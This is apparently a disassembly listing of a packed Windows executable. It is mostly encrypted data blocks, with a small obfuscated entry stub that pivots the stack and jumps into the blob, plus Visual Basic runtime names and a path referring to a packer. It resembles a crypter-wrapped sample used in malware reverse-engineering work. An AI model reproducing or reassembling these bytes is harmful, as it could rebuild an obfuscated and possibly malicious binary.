dd 8FF6940Ch, 2E38B55h, 0D0C2B9CEh, 0E686E8A9h, 0F46C49h
dd 5E7C32BBh, 0BBE58953h, 1EA02EFEh, 8120E757h, 70759AABh
dd 0E4E2EE2Ah, 0A0747ABEh, 33D33908h, 0DE094305h, 9A1FF899h
dd 2B7F1D75h, 7DDFE1EFh, 0D286B178h, 3D7C22BAh, 96DFE1EFh
dd 5226B5D1h, 0A46188Fh, 0FBBF606Bh, 0A1983D48h, 0CB630BD5h
dd 72E83E7Ah, 165F22E4h, 1CED9351h, 0C4E87289h, 4D0DDFDAh
dd 27864643h, 22A9192h, 0BD8736A4h, 6900000Ch, 0D4F2FE2Eh
dd 5A4474CCh, 0C2CC8C58h, 49571BDDh, 0A1DC9C48h, 0A76524C4h
dd 39E9AD2Bh, 0B66E17B1h, 0C2069C3Ah, 0D1963E8Eh, 73D47740h
dd 7713C4A5h, 69ED20Ah, 8DC31998h, 8E14BA33h, 8131064Ah
dd 23FFA7E9h, 9A7FD7A4h, 25A83275h, 7AEDE3B9h, 759A7F9Dh
dd 5604E678h, 0D0A126BEh, 35759A7Fh, 0E6BC22ABh, 0BCC7AE22h
dd 8373F498h, 0A68F524Eh, 782E7004h, 1B2F3EBCh, 3ABADDC1h
dd 0EEA015F7h, 0D2456439h, 53B2373h, 38F35B67h, 95F19Eh
dd 0ADB0000h, 0EFEAF9A6h, 40D82122h, 0C6F2B09Dh, 813700B5h
dd 2C47E8A0h, 0D39A55D7h, 597D212Ch, 52FCF8EEh, 9E495D8Fh
dd 73D2ECF1h, 0CA408004h, 33F5AA70h, 0CAEC3D51h, 0C84E064Eh
dd 5D3AADC1h, 0B873D274h, 27FFAF26h, 594147C6h, 0E364CC8Bh
dd 73D2B712h, 158B55F7h, 0BB054B8Fh, 0B7987532h, 0FFDF73D2h
dd 0D0723C1h, 28AD9E38h, 48000000h, 9D316590h, 5254302Ah
dd 386FED8Fh, 0B91BC1C4h, 81CFA933h, 0D26401DAh, 28064673h
dd 38D2689Ah, 7C29Eh, 58F50000h, 866h, 3165906Fh, 6AB6F39Dh
dd 0E1FBF12Bh, 31B64E07h, 8F687A60h, 40800785h, 0BED6B00Ah
dd 0E73D7826h, 64F6D7E9h, 0D8AB5CB8h, 0D9CFCF86h, 0DAA46021h
dd 56920896h, 0CE729D18h, 72C321A6h, 98228926h, 2A8D5CF4h
dd 0A41D643Fh, 0AFF599DCh, 2379676Bh, 10CE9E7h, 7C8E395Dh
dd 0A18F52F2h, 8E1BBE1Fh, 854B0460h, 0B2728h, 0C0C300h
dd 9E5A4E48h, 16F2B4D2h, 0AD673C5Ah, 26E6A32Dh, 9E7E3FAAh
dd 781C913h, 810F439Fh, 0F690D804h, 44645490h, 76DABB2Ch
dd 723F73D4h, 7EFDAEBDh, 0ACD7759Ah, 424CE488h, 25FFA45Ch
dd 24B15B7h, 687A8445h, 771FA18Fh, 220D0E96h, 737A3727h
dd 9651E9B9h, 73D452F9h, 52AC4DFAh, 0F74973D4h, 1DFA6D39h
dd 0F873D452h, 2AD18466h, 0BB537B1Fh, 7B71D1D5h, 0E2BB6C61h
dd 0C7892656h, 594F5165h, 0EDB3DD9Dh, 0B7C2A329h, 6F1AEB83h
dd 9DD41CCh, 0FFA83DD3h, 0F052DC9Fh, 688A6BDCh, 0DD6F759Ah
dd 2D470098h, 2A8F686Bh, 58673C64h, 5A499A82h, 724C02ECh
dd 0D5F9437Bh, 5B11D5CBh, 0CD199B01h, 0C058F088h, 0D4ED7607h
dd 25F27573h, 0C073D4EDh, 0A72EB07Eh, 35A56127h, 9D31F5ABh
dd 0B3C4794Ch, 31A4E1C5h, 6CEB867Dh, 0D2FDF3D4h, 0B9C0772Dh
dd 1E34C8Eh, 1DA8FA6Dh, 3B85091Ch, 2E61255Ah, 0CEEF6D82h
dd 0A1Ch, 5D1DCFC8h, 27AB6F33h, 0AF23FFB9h, 36BA7A21h
dd 0BF33E9A8h, 4856502h, 860E88C0h, 0D88165Ah, 0A7FD9BD7h
dd 375F6F63h, 0D475E3B0h, 0B27B0673h, 64BFA081h, 0A52BC071h
dd 1A3E4930h, 0BA14F572h, 2C318F68h, 394B158h, 0B8DCBE69h
dd 4474B0D6h, 79A3E2ACh, 0F0346A74h, 6C103BFAh, 18C29F48h
dd 4D1F8926h, 0E5216729h, 71B5EBF5h, 0D78FBA7Bh, 607A70B0h
dd 18FA9B4Ch, 4D1F759Ah, 0BC1CCBE3h, 0BB8F681Bh, 7A70D4D5h
dd 1B5C3DAAh, 27B973D4h, 0D9B63145h, 3C73D41Bh, 29B32BA2h
dd 8B851B85h, 0D41B3FDCh, 7D3CDA73h, 3D9F21AFh, 1B0AFD0h
dd 9A643AA1h, 16D2C8D6h, 4E8A107Eh, 22F37400h, 0C773D446h
dd 1CD29B65h, 0D446EAA7h, 81B5C073h, 0D3BD55EDh, 0A07176D6h
dd 0A373D446h, 0D4465724h, 6228B273h, 0A97CFDD8h, 0F41AB1B2h
dd 268304C1h, 9C2E8926h, 34F096F8h, 40841A84h, 3C606B0Ah
dd 0B6470098h, 53759A26h, 942CC489h, 1B52960Ah, 6822F5AAh
dd 660ED08Fh, 257819CEh, 0CC7B73D4h, 73D4252Fh, 20BA70CAh
dd 934F1ADh, 0F4864155h, 29891C33h, 4FBF3697h, 19D7022Eh
dd 8DB54h, 0DC0C7700h, 6AAEF29Ch, 0E23E7866h, 79BBE0EEh
dd 0F22A5771h, 42A2C3FEh, 0CBD58547h, 35531FCBh, 0BA249470h
dd 10A820E4h, 732ECF78h, 0AECB73D4h, 56117769h, 0E71C59A4h
dd 0E2E84A89h, 747ABEE4h, 0B9C92F2h, 0B0C9D295h, 0F03A31EFh
dd 61E67E16h, 759A4590h, 2EE2EB75h, 924E4856h, 0F3B4B6DBh
dd 0C1E9870h, 86000000h, 0B429E18h, 48D582Ah, 0C66F0000h
dd 5C000B1Ah, 5627A038h, 0B3759A7Fh, 34CCA429h, 0FDF0346Ah
dd 526F5E08h, 19E9738Fh, 0DFA1EF56h, 96CEF95Ch, 3E5630ECh
dd 11980D89h, 4258465Ah, 0FFF6C886h, 0B67F7DCFh, 7CB4EB8Bh
dd 0F04DFA92h, 2D5C5C07h, 0F95FB93h, 831987CBh, 0F73DDA8Dh
dd 6D8A0DAh, 8B98D9A4h, 7CF2D768h, 80771h, 20E0A300h, 0BE7A2EA8h
dd 36129432h, 4D871CBAh, 0C606830Dh, 7E9E1F8Ah, 0E7E1E933h
dd 616F63BFh, 0D6F0F824h, 644474B0h, 73FA9B4Ch, 921F73D4h
dd 0D511775Dh, 6CB8F9E7h, 0C67A856Ch, 7C9239AEh, 0E9738F68h
dd 3DC5DBC5h, 13E06765h, 0F673D47Ch, 0A0288A54h, 36A46026h
dd 7001C65Eh, 9573D47Ch, 0D0FB82CBh, 86341490h, 0B5325A24h
dd 892678D8h, 8D13BB05h, 0D5BBD317h, 8D7F76CEh, 35599D03h
dd 784D2A9Dh, 16A8759Ah, 15D2E337h, 4A036BAEh, 518BF694h
dd 2881E9F4h, 6B72502h, 768h, 9418304h, 93DF1B8Fh, 1B57B3F5h
dd 0E2EE267Dh, 6B67A5E4h, 0D0D1317Eh, 5A5A4474h, 0C1C4C28Eh
dd 5349571Bh, 0EB83DB97h, 0D4729F7Ch, 0F63F7A73h, 9D316590h
dd 687B712Ah, 7A12AC8Fh, 64A8E14h, 88C60298h, 16BEE2EDh
dd 9BD20E88h, 519C4205h, 1BB9891Ch, 4E14387h, 22E1E53h
dd 5A00DC3h, 0A1000007h, 2CAA26E6h, 923CBC74h, 1A843410h
dd 810F4385h, 1994C400h, 0EF3D7C9Ch, 61A1E5E3h, 0FE266F69h
dd 0ACED4F2h, 994E6646h, 73D472F8h, 775B9C1Dh, 0F9E7D511h
dd 0CF6967A3h, 0AEF0A19Fh, 29B538E4h, 2DCA7D73h, 0C8759A7Fh
dd 4C249476h, 7F6233B4h, 2587759Ah, 0C51F2BB0h, 2A749870h
dd 0D2168C74h, 6A60C29Ch, 0FCF2366Ch, 764D00E2h, 11h, 2B15801h
dd 98300000h, 9A7F4E2Fh, 5C11AB75h, 0D511779Bh, 4FF31EE7h
dd 7AEFA027h, 75D48F68h, 53539792h, 19EF96F7h, 0C9930B42h
dd 0A8CF44A5h, 0ED6BA8C1h, 0F4AA34E8h, 1BEABA30h, 0C3D99B34h
dd 0C7702607h, 616FABFFh, 0D6F8FD5Fh, 0B87971ABh, 22366A8Dh
dd 9246DF7Ah, 25049C30h, 0EDDABA04h, 580D403Dh, 89264864h
dd 0FB933B85h, 2E7FB12Ah, 9A0AD8B9h, 42A33D75h, 6E4FBEF4h
dd 0C3C2448Eh, 8F0F4658h, 59DDD19h, 0F0F63C24h, 0C88DBD2Ah
dd 5604C0C6h, 0DD934948h, 65092D58h, 52510CE2h, 0F0770F8Fh
dd 73D24123h, 0FFA664C6h, 0AC3EB025h, 603DE2C1h, 67560404h
dd 5D8h, 99D13374h, 636FABFFh, 0EBE72365h, 727EB6EDh, 0FBF75554h
dd 4041A1CEh, 0CACAD484h, 7134521Eh, 0E3B927ABh, 7B13AB27h
dd 0D4702FCCh, 66AFCA73h, 0C1D51177h, 480DC9DFh, 56920896h
dd 0B08EDE18h, 5B57117h, 70C56C9Eh, 10C698h, 5FAE0000h
dd 6A2B1F89h, 89AE277Eh, 12B58h, 11776F00h, 33308D5h, 15DB0228h
dd 56B58h, 4C9C0700h, 0DA1E820Ch, 528E0896h, 0E92B701Eh
dd 62BAE7E1h, 0D232736Eh, 5B4575D7h, 0C5C38F5Bh, 4A5404C0h
dd 80D89054h, 709E7FE8h, 3E7B73D4h, 0D51177F9h, 67A3F9E7h
dd 0A19FCF69h, 14448006h, 70C5738Fh, 2BD998h, 2BC30000h
dd 9A77DFBCh, 2DA03A75h, 881F8108h, 0E6D42C74h, 56747AC4h
dd 0A015F731h, 0B311h, 1F812400h, 0A8074E96h, 0A8h, 3165907Fh
dd 7A712A9Dh, 444A8F68h, 0D0CE8745h, 9AA5400Eh, 0FD19CEE6h
dd 10891C42h, 2E94EF4Eh, 844A022Eh, 4CF29h, 0E8387B00h
dd 66A2E6E0h, 0FE2A6C6Ah, 75CFD4F2h, 8E5E5B45h, 36D6D7C2h
dd 0BFD9914Bh, 39A72BF7h, 0AE28A07Ch, 2CBC3CF8h, 6F32C384h
dd 0AAD773D4h, 31659065h, 69ADF39Dh, 7C145963h, 522196CBh
dd 0DDF14B8Fh, 0A515F1B3h, 0D23128E2h, 7BBFE573h, 6C4E9F77h
dd 43871B1Bh, 2F52B30Dh, 0AD773EC3h, 0BA339D2Fh, 1EB69214h
dd 0E3EA3670h, 45E822Bh, 840A0000h, 37B0C41Ch, 73D29566h
dd 83B43983h, 9D316590h, 289FB1F3h, 759A7F4Bh, 3CB21CAEh
dd 92552BA2h, 8F687A39h, 80145AE4h, 7A9E7FE8h, 0E17B73D4h
dd 46FA05ECh, 425DB92Eh, 0ADB0891Ch, 519E1550h, 9372DC1Dh
dd 22E909Ah, 0DF7C674h, 0B9000004h, 24A22EFEh, 0AA34A47Ch
dd 12BC3CE8h, 99074B8Dh, 118CCC18h, 0D7357494h, 69B9FD9Bh
dd 0E63E6761h, 72B6ECEAh, 81466E7Eh, 73D46FF0h, 90A39415h
dd 2A9D3165h, 8F687A4Dh, 0E67E16A8h, 7AF8994Eh, 431D73D4h
dd 0DA1E840Ah, 56920896h, 0CE729D18h, 60A0F8A6h, 8B3C506Ah
dd 73D47AEAh, 6038BD0Fh, 203979C8h, 0E3A60E7Fh, 0E3CF3DEAh
dd 9C2E8926h, 683E60F8h, 0D99C2EACh, 66E1EFB5h, 759AE389h
dd 727EB8C3h, 0F0BE7DFBh, 0C2CC8C6Eh, 0D35218DCh, 995877A8h
dd 3C24795Ah, 0FFFD276Eh, 0FC6B03EDh, 8F52F482h, 0F9208D5Fh
dd 1D046088h, 35A1E5Fh, 8DF60000h, 29711F53h, 0BDE7E1E9h
dd 386F6961h, 0ABD6F0F8h, 234C7971h, 4A06C6C3h, 0D098484Ch
dd 0A515CFB6h, 29A1653Bh, 0A14EF991h, 4473D46Eh, 1177F025h
dd 7977B3E9h, 0CD83475Bh, 39B711F3h, 89C1059Bh, 15B9DDE8h
dd 526D5052h, 8B23BD8Fh, 0BEA8AFBAh, 1FA12FE9h, 0F9AAB63Eh
dd 28A66623h, 0B86FDF96h, 73D25FE7h, 1786B8A0h, 9CD21289h
dd 0E4068BC2h, 4E9E38E5h, 53h, 0B2659069h, 3276EFB2h, 8B238D41h
dd 0D9478305h, 0B0480DDDh, 52E21737h, 0A228B28Fh, 1CD4CCD2h
dd 0F233EC59h, 0A9FE73D2h, 2663616Fh, 48D6E8E6h, 5D89652h
dd 72E710A9h, 0BA8227BFh, 83CBDF84h, 7CE31FADh, 0D4499E38h
dd 33000000h, 0F3F9296Dh, 7753E4E9h, 0F9E7D511h, 606E6CB8h
dd 77D6FE3Ah, 3215EAE3h, 8C68FEEh, 98D0148Ah, 9A9E8427h
dd 0EB2F7575h, 67A3F9E7h, 6330B74Fh, 86759A9Eh, 0E24C9C18h
dd 477233EBh, 0BDE37B13h, 0E795A0E7h, 9297DF57h, 0AD20BA30h
dd 52522EF8h, 31B9038Fh, 7D114570h, 0BB8A04E5h, 1E428386h
dd 42CAEE57h, 912B891Ch, 361693FDh, 4F9D1CBAh, 2A3EBDEEh
dd 0D6E75502h, 218h, 5911F3B4h, 23AF6B3Fh, 0AB27E3A5h
dd 32BE762Dh, 0BB371594h, 81610Eh, 8A0A94C4h, 3174125Eh
dd 0A3F9E7EBh, 3B536B67h, 0D46DEF8Ch, 0A66F0A73h, 0A3EE0A77h
dd 8F697379h, 0D1DFC5C3h, 541AC2CFh, 7FAC4D0Ah, 5F59759Ah
dd 3DF3CD83h, 0F989C1A3h, 0BA30F097h, 9088AD20h, 59D3165h
dd 9A7FB542h, 108E5075h, 0A406B494h, 7EEC5B31h, 0DB8F5262h
dd 9A9C6D01h, 6C5496D8h, 7328E6EFh, 73D2FB9Eh, 2DBFF1D9h
dd 9E384D11h, 0E4BBh, 11777A00h, 7FCBA81Fh, 9C2E759Ah
dd 931EBC32h, 2D42EBCAh, 533D8B70h, 9A1BA61Dh, 0B4EA759Ah
dd 485E7870h, 0FFA6E88Ch, 3BADE5A6h, 0F052A01Fh, 596401FDh
dd 990F9125h, 0F4FA3A61h, 0FB4208EAh, 0BCD0C49Eh, 8B11F3FAh
dd 0CF91DF0Bh, 0AD79EE86h, 668F52BDh, 0A27819CEh, 88D73D2h
dd 4ECC9EDCh, 306217Fh, 66C03949h, 0EDED7F6Fh, 0D88FF904h
dd 73D2433Bh, 0AA20CDEh, 97C51F84h, 7FE88035h, 891CE236h
dd 0CF6114F5h, 0A7588A5Bh, 862EB02Eh, 0F439918h, 79C40081h
dd 22A9ED6h, 0E97B72F8h, 85000000h, 8EC202h, 76105898h
dd 0FE98D00Ch, 65636FA9h, 0FDE8E024h, 8B5150B0h, 0DDDD9C7h
dd 9A42434Dh, 16D2C8D6h, 0FD6A025Ah, 73D46C1Ch, 8177B8F9h
dd 0A2496EA0h, 28AD69EAh, 0A921FBA6h, 3DBD792Fh, 0D511773Ah
dd 810E60C1h, 5928C642h, 32CA5A14h, 9AC0E4B5h, 36BF0175h
dd 0BA36F2A8h, 0E166D0FBh, 759AC010h, 6A0A6BF5h, 6065AE6Ch
dd 0A1264E28h, 8F6813D8h, 41E40ADBh, 0EBB9A42Ch, 1C52ECE2h
dd 0ECEC287Eh, 5EA53514h, 326C7F1Bh, 498D13BBh, 29277B25h
dd 0D4F8D1BEh, 0C8AA3473h, 533DC985h, 4C1F44Ch, 0A308833Eh
dd 4ADDD30Bh, 0BED89054h, 20AE2CE8h, 0C101857Bh, 4BFE4F67h
dd 0DDC9A572h, 491DD184h, 48564779h, 0B2DC9153h, 26A028ECh
dd 8736A460h, 10h, 6F177911h, 0AC6734B3h, 388243E8h, 0BC8B80B5h
dd 9EDC0C77h, 606EAAF0h, 0F3F92362h, 7B71D1D5h, 0C2885C5Dh
dd 4907C5C4h, 0DE9C544Bh, 0A42AF6B0h, 28A66226h, 0E789575Bh
dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 2A7068h, 24348900h
dd 363A68h, 24148900h, 3EB26855h, 0D15D7A89h, 97ED81EDh
dd 506BE962h, 0B07CCBB8h, 0D1D8F722h, 435C25E8h, 0D1051BB5h
dd 12A4D87h, 0EE8958C5h, 148B545Dh, 4C48324h, 4815655h
dd 8B389E24h, 0ED815D2Bh, 2B8B389Eh, 5D086A89h
db 8Bh, 14h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_54DD7E
; ---------------------------------------------------------------------------
db 0BDh
dd 0CC061C79h, 0B81ACE01h, 64E1500h, 0E0FFC503h, 1800FB08h
dd 450DB4E5h, 6F88EA22h, 11951748h, 3702130h, 5999A56Ch
dd 545A10EDh, 544AF111h, 3294975Bh, 0F67218h, 4CA19F1Eh
dd 102FDC0Fh, 5A28DCDAh, 7BB40483h, 704FD83Ah, 399E7ADDh
dd 35A709B9h, 22A55094h, 2AF37104h, 35AC1CD9h, 1B2F7652h
dd 16E78D8Dh, 870F064Eh, 1, 58D89FCh, 6A064814h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0E9B7C356h, 2AFC8F39h, 820FC736h, 5, 5B7890BBh, 858D890Ch
dd 0C706480Bh, 48302585h, 668406h, 7E900h, 42EA0000h, 469CB89Bh
dd 0D985C76Bh, 6482Ah, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 89BAC357h
dd 219D8960h, 8B064820h, 0B52361DAh, 6480999h, 6FDB5FFh
dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 0E9DD11C3h, 0Fh, 0EAD92CE4h, 6427F937h, 625378E9h
dd 0FF8C51DDh, 480E7195h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0E6E5847Eh
dd 0A1FDD74Ch, 0FF006A93h, 48092D95h, 0EBC08B06h, 99DC4868h
dd 9FD76E61h, 0C8933734h, 0CB742A2Ah, 3403FB88h, 0D333920Bh
dd 1B52885Ch, 12889C7Ah, 0F68F5333h, 820ABC88h, 3D5F85E2h
dd 0D82A268Eh, 292C94C1h, 0D470CF6Eh, 3653EC24h, 0A60C207Eh
dd 7117E6FEh, 907E265Ah, 0CC7BE979h, 0F2442EE4h, 9AD5C681h
dd 0AF5AA0DAh, 8C9D4E5Bh, 0C887FA5Fh, 0DE41550Eh, 8C545263h
dd 6E844h, 97C00000h, 76CA2AE8h, 32E98D8Bh, 0B15F0648h
dd 28C781D7h, 0B000005Bh, 16AF68E7h, 8B660000h, 0BD895BC7h
dd 6482FD1h, 0BF0F378Bh, 0FC681D3h, 8959E387h, 48273D85h
dd 0FBF68106h, 8B5ABDFDh, 481AED85h, 0A8C68106h, 6625FDE2h
dd 62B5CA81h, 0C38A3789h, 8902EF83h, 482F558Dh, 8B4F4F06h
dd 48091185h, 850F4B06h, 0FFFFFFBCh, 0D099589h, 9E80648h
dd 0CB000000h, 0D78B2808h, 0CC8DCC32h, 391A7DBEh, 8B0F5F17h
dd 16h, 0FE952h, 185F0000h, 0FC7FA312h, 5C22EBAh, 3A4880Eh
dd 0C7815E2Fh, 618Fh, 8BD22BF8h, 48281DB5h, 171C8B06h
dd 1F1BD89h, 0C3810648h, 481B81F1h, 27418531h, 0F3810648h
dd 75A0DEB2h, 23419D09h, 0C3810648h, 70BC8B84h, 0AE9h
dd 2E0ED300h, 686069CEh, 89BC158Ah, 0E081171Ch, 1F7A81B5h
dd 1411B589h, 0EA830648h, 4AD2B101h, 81664A4Ah, 815F6ED0h
dd 0FF9F30FAh, 11850FFFh, 0F8000000h, 25E9h, 0D93B6C00h
dd 0B2D3491Fh, 19A4EEDEh, 0E9CB8B66h, 0FFFFFF89h, 50E5468Eh
dd 8B766E5Eh, 6F28FC55h, 9FDA0321h, 9E8E791h, 26000000h
dd 0DCB17F0h, 9A75ADB0h, 17F19D89h, 8B5A0648h, 4812AD9Dh
dd 0D1C28106h, 2900006Ch, 4814DD85h, 6806h, 0C18B0000h
dd 0BD9D035Eh, 8B064815h, 0B6B7323Ch, 5829C781h, 870F77D7h
dd 6, 30C1858Bh, 0EF810648h, 0DD9C6D2h, 23918D8Bh, 0F7810648h
dd 4E380F60h, 8FFC57FCh, 0BD293204h, 6482FD1h, 0B869EE81h
dd 8B661333h, 65C681DFh, 8B1333B8h, 480FDD8Dh, 0C0FE8106h
dd 0FFFFF93h, 0FFFFAA85h, 0AE9FFh, 0AC4C0000h, 0BC174B70h
dd 90F1CB8Bh, 15CE9h, 0E705C500h, 5C3A4377h, 6E755F6Dh
dd 6B636170h, 70007265h, 656B6361h, 78652E64h, 65h, 3Ah dup(0)
db 0
a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain db 'ThunRTMain',0
a__vbavartstne db '__vbaVarTstNe',0
db 94h, 8Ch, 7Ah
dd 1C34E955h, 99680000h, 0E9064E1Ch, 0FFFA63D9h, 4E1D8568h
dd 63CFE906h, 5D68FFFAh, 0E9064E1Eh, 0FFFA63C5h, 4E1F6968h
dd 63BBE906h, 0A868FFFAh, 0E9064E1Fh, 0FFFA63B1h, 4E208D68h
dd 63A7E906h, 0E568FFFAh, 0E9064E20h, 0FFFA639Dh, 4E212C68h
dd 6393E906h, 6468FFFAh, 0E9064E28h, 0FFFA6389h, 4E291868h
dd 637FE906h, 0D168FFFAh, 0E9064E29h, 0FFFA6375h, 4E2AC768h
dd 636BE906h, 3368FFFAh, 0E9064E2Bh, 0FFFA6361h, 4E2BF068h
dd 6357E906h, 7A68FFFAh, 0E9064E2Ch, 0FFFA634Dh, 4E2D4A68h
dd 6343E906h, 0DD68FFFAh, 0E9064E33h, 0FFFA6339h, 4E34DC68h
dd 632FE906h, 7168FFFAh, 0E9064E35h, 0FFFA6325h, 34542BCAh
dd 0BDDFDA58h, 21435EE1h, 94F4CD75h, 1F7D7CF8h, 1BA79FF4h
dd 982E7A06h, 36B3EF8Dh, 0BE455133h, 730AD9BBh, 724D5D1Bh
dd 32D56B7Ch, 6CFBFE85h, 28603ED5h, 0B4762433h, 32DD9BCBh
dd 8CEB7624h, 0E390971Ch, 0FD8F2C82h, 48E47376h, 0DEDFACABh
dd 37006878h, 81AC0295h, 657C6C45h, 74F18B1Ah, 46930475h
dd 177C7288h, 0D75DCF4Ch, 6EC4A5D2h, 0B2B3F141h, 2C9E7C6Ch
dd 4519B07Fh, 7C6CB303h, 6C00D6D1h, 0DBA992B7h, 356Dh
dd 7EB9B600h, 0B8C17C28h, 6A8EC56Ah, 48097AE5h, 0A95D6CC3h
dd 911E4F9Bh, 0AA049310h, 7C6CBA1Fh, 0FDFACCBh, 7C6CAA45h
dd 0BBED520Ch, 0DBA97940h, 0BE9Ah, 0FE850100h, 72FE8AFBh
dd 0F1720E7Fh, 5EF285F2h, 0C0A1DED5h, 0E05AE6Ah, 36FCF462h
dd 0BA87624h, 0B3306C0Ch, 19B0C7B4h, 8BF8FD87h, 36FCBCEAh
dd 0AFC87624h, 0CE8CB707h, 3A3FC557h, 0F862C4Dh, 6C60AEBFh
dd 5F3D7A7Ch, 0F86447Fh, 0B70459BFh, 28CBA782h, 0BC25633Bh
dd 0F4B37626h, 0CF6A0677h, 7DFABBC8h, 314E43EFh, 0C864F370h
dd 25633B2Ch, 0B37626BCh, 791577F4h, 0BC41FCFDh, 0FA129DB2h
dd 19959505h, 951C0000h, 0A2FE9Ah, 942B6705h, 37BFEB89h
dd 0A6425E3Ah, 0D5A2C1A3h, 204041EDh, 95F7D274h, 1F7D7CF9h
dd 87E5E083h, 0A3E5B9CCh, 317C724Eh, 0F985F4AFh, 670C98F8h
dd 0B9630060h, 0B249DC7Eh, 389E951Eh, 6C400F9Ah, 85453E7Ch
dd 67F4B3BEh, 1C20D800h, 4CCDCDFBh, 0E3BBCAE6h, 7C6CFCA5h
dd 86F77433h, 6CFC6C28h, 0FBB0E77Ch, 9758BF1Ch, 38BB2925h
dd 872F4C3Dh, 0C53E16D5h, 56DBA97Ch, 913924BAh, 0A54Dh
dd 0FE85D600h, 72FE8AFBh, 4FD0C66Ch, 0C5422350h, 442D30B0h
dd 57D48814h, 31BD4F26h, 0C43C9A30h, 0E0762446h, 68244443h
dd 0D1BFCCCBh, 0DDB124E6h, 7C6C7050h, 2189EB94h, 8DE17416h
dd 82B7111Ah, 1AB6214Eh, 6DF38D9Eh, 0CE662270h, 35727626h
dd 3CB8D4B4h, 0FA8B862Eh, 82813CBDh, 44129D9Fh, 18A95BCBh
dd 61000000h, 0EC96026Eh, 881F8BE9h, 3A3FF9Dh, 8A36620Eh
dd 0E9CED5B7h, 345455D1h, 0B9DBC658h, 234140EDh, 0ABC9CC77h
dd 8FC9A538h, 5D7C724Fh, 0EC80188Bh, 7E3F4C5Bh, 0BDBC38D8h
dd 2520C3DFh, 0FE85BC47h, 54D06CFBh, 0A2FEFD55h, 16660201h
dd 23439B2Dh, 72BB7271h, 5D0C62F5h, 897C6D15h, 83C191EEh
dd 0CE7C6D0Ch, 8279AF1Ch, 58DBA9C8h, 0DAh, 5074D9C3h, 5C32A567h
dd 7C6C4311h, 8F8B1CB0h, 0C56DEAE7h, 0C682DCB5h, 0F27C6C41h
dd 67007077h, 0DA4C1AE6h, 0EB5106E9h, 0DB3E7A54h, 0ED8A48F6h
dd 0CCEE945h, 428C599h, 0B3FC4F3Fh, 0EBB18AC2h, 32C2227Ch
dd 5CF3510Ah, 0F6314602h, 0BD159248h, 49E3723Dh, 0D1CDAFAAh
dd 51E85752h, 673FCE3Dh, 17D13AA8h, 59D80000h, 0C46E3A46h
dd 50F7A3C1h, 0FB7B1775h, 620E9AE6h, 91E60D6Fh, 6C0C0DA9h
dd 0D1B3AE30h, 5B3938C5h, 0C3A1A44Fh, 67217D10h, 757C7250h
dd 0FE8530D3h, 86FB8AFBh, 63E06BD4h, 51F76501h, 0D0660774h
dd 0E99437Ch, 5958E577h, 0CEB6E3F1h, 56227C6Ch, 223FC1B1h
dd 0B49137A5h, 1CEBA037h, 3A37BF49h, 795B2C4Dh, 0C7E34B4Ch
dd 1542D5CEh, 0F904E776h, 74D93651h, 0BB66750h, 0B9264734h
dd 1E0D922Eh, 2B3B0D65h, 933BD7A9h, 2E1AC02h, 7A057C6Dh
dd 0FC7AC09Eh, 417A0395h, 6777318Dh, 3A45F784h, 8A712ABDh
dd 21A8AEB7h, 0AB039238h, 0FDCCD292h, 7C17FEB3h, 18E4C85Dh
dd 0EE7906B2h, 0E6410757h, 0C56FFD4Ch, 5FF7B0C0h, 99437C50h
dd 58E5770Eh, 0DC4B2859h, 4CE5C682h, 3D9512FDh, 9865359Fh
dd 9CF28303h, 0F787FEDCh, 970E8FE8h, 116D7E05h, 0F787FE57h
dd 6C6D0965h, 96026EEFh, 985716EDh, 0AE913C6Fh, 16C541F1h
dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh
dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h, 0B7D5D053h
dd 7335891Ch, 417C7251h, 0FE8524FFh, 3BA144FBh, 0E8A712A0h
dd 16867Ah, 8D842D00h, 3431B3EFh, 0B8A73854h, 2D24CCD8h
dd 0D2D7534Fh, 0FCC4ADB6h, 87137170h, 884E4E1h, 920E6A6Dh
dd 0DD761211h, 51B4F4CAh, 0BE007C72h, 0FBFE85E5h, 53F9C28Ah
dd 0ACD0CFC4h, 0BD182BE4h, 57E98015h, 6D41D4B1h, 7624B32Bh
dd 7A58FEB9h, 7C6CBAE3h, 69385827h, 275431D7h, 0D1DFA3B2h
dd 68E91FD7h, 14B00AC2h, 98F6612Bh, 82B4BAD5h, 0DC8A9611h
dd 12CD61EAh, 64F399A2h, 5D2A2DC8h, 4F1FF65Ch, 19152BAEh
dd 16AA3D7Ah, 0B13E946Bh, 0D6B54AE6h, 3D93AC00h, 54D02101h
dd 44CE2055h, 7137871Eh, 7F110485h, 8D24B330h, 4857731h
dd 15CE4511h, 1D162332h, 148129D6h, 502D5ABAh, 56C1AE17h
dd 8C2939BAh, 3EBFFC8Dh, 0FABE10A7h, 0C612CF36h, 257111B9h
dd 0E7249B9Eh, 0D175F536h, 15A1A05Eh, 69080000h, 149E0A96h
dd 80277311h, 0BABE785h, 0B23E6A36h, 0E1B6DDBFh, 3C5C5DD9h
dd 0A1C3DE60h, 2B4948F5h, 93F1F47Fh, 97D1ADC0h, 257C7252h
dd 1470083h, 2A762433h, 0BC12F196h, 2442561Eh, 53044076h
dd 0B2F27624h, 0E6762432h, 2AE7465Dh, 1C12A03Bh, 1549F363h
dd 0C1600000h, 4CF6A2CEh, 0E87F2B49h, 63039FFDh, 0EA96026Eh
dd 96E7517h, 0D4B4B531h, 593B26B8h, 0C3A1A04Dh, 4B292CD7h
dd 0EFA90598h, 0FD7C7252h, 7EB9B86Bh, 0FC7549DCh, 487C6C37h
dd 3727902Fh, 9E110C58h, 1502E0h, 908A900h, 0B0B53F6Bh
dd 2423C4D0h, 0A9A84844h, 5E53DFCBh, 78401132h, 39FFDFCh
dd 9400607Dh, 1E8A16E9h, 61F29E95h, 5438704Eh, 22847C72h
dd 0FBFE8561h, 7E75FE8Ah, 0E9560801h, 0E11244BFh, 3E9EDDh
dd 80050000h, 767E420Bh, 0CF748765h, 7DFABBC8h, 42BD87D5h
